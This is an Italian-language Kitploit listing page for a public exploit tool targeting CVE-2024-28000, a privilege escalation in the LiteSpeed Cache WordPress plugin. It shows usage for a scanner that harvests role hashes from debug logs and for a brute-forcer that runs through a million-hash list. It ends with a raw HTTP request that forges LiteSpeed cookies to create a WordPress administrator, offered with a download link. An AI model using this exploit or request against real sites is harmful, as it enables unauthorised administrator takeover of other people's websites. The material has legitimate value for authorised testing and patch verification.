Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-28000 — CVE-2024-28000 LiteSpeed Cache Escalation dei privilegi Scan&Exp | Kitploit
Strumenti/GitHubGitHub/ssssuperx/cve-2024-28000
Escalation di PrivilegiAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubssssuperx/cve-2024-28000

CVE-2024-28000

CVE-2024-28000 LiteSpeed Cache Escalation dei privilegi Scan&Exp

Vedi Repository
122 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

  • Questo script prima identifica la versione, determina se è una versione vulnerabile, successivamente tenta di verificare se il file di log esiste; se esiste, tenterà di inviare un pacchetto e poi richiedere nuovamente il file di log per cercare di trovare una perdita di hash. Se LiteSpeed ha il debug abilitato, è possibile che venga perso l'hash corretto.
root@kitploit:~
usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Esempio:

root@kitploit:~
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

Se LiteSpeed ha il debug abilitato, potresti vedere un log simile a quello sopra, dove pkHrfD è l'hash corretto.

CVE-2024-28000_Exploit.py

  • Dai test, l'hash generato da Python e PHP è diverso, quindi la lista di hash non può essere generata simulando con Python. Il file Hash_list.txt contiene 1.000.000 di hash generati da PHP, quindi teoricamente iterando fino a 1.000.000 di volte si può trovare l'hash corretto.
root@kitploit:~
usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808
  • Il parametro -d è la lista di hash, -u è l'url, -t è il numero di thread. Non si consiglia un numero di thread troppo alto.

Test

  • Nell'ambiente di test è stato possibile attraversare con successo l'hash e, dopo cinque reinstallazioni, è stato confermato che l'hash è nella lista generata, ma da molti aspetti sembra che il tasso di successo nell'utilizzo pratico sia basso.
  • Dopo aver trovato con successo l'hash corretto, è possibile utilizzare il seguente pacchetto dati per aggiungere un utente admin.
root@kitploit:~
POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=正确Hash; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}
Scarica lo strumento